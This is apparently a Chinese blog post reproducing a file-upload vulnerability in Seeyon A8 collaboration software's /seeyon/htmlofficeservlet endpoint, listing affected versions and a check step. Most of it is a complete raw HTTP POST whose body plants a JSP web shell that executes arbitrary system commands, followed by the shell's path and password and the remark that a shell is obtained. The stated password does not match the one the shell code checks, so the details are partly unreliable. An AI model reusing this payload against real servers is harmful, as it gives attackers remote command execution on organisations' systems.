长长de我
目录
影响版本：
漏洞验证：
复现流程：
影响版本：
致远A8-V5协同管理软件V6.1sp1 致远A8+协同管理软件V7.0、V7.0sp1、V7.0sp2、V7.0sp3 致远A8+协同管理软件V7.1
漏洞验证：
访问/seeyon/htmlofficeservlet
出现下图所示的内容，表示可能存在漏洞。
如下图所示：
复现流程：
post提交数据
POST /seeyon/htmlofficeservlet HTTP/1.1
Host: 1.1.1.1:8888
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=FB4C369D7EF8B0989FCE7160359DFA76; loginPageURL=
Connection: close
Content-Length: 1097
?
DBSTEP V3.0 ? ? 343 ? ? ? ? ? ? 0 ? ? ? ? ? ? ? 658 ? ? ? ? ? ? DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdb4o5nHzs
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("x".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce
提交成功会有正常页面回显，此时webshell地址为/seeyon/test123456.jsp，密码为：asasd3344。如果无回显或者是非200状态码，说明可能不存在此漏洞，
shell到手：
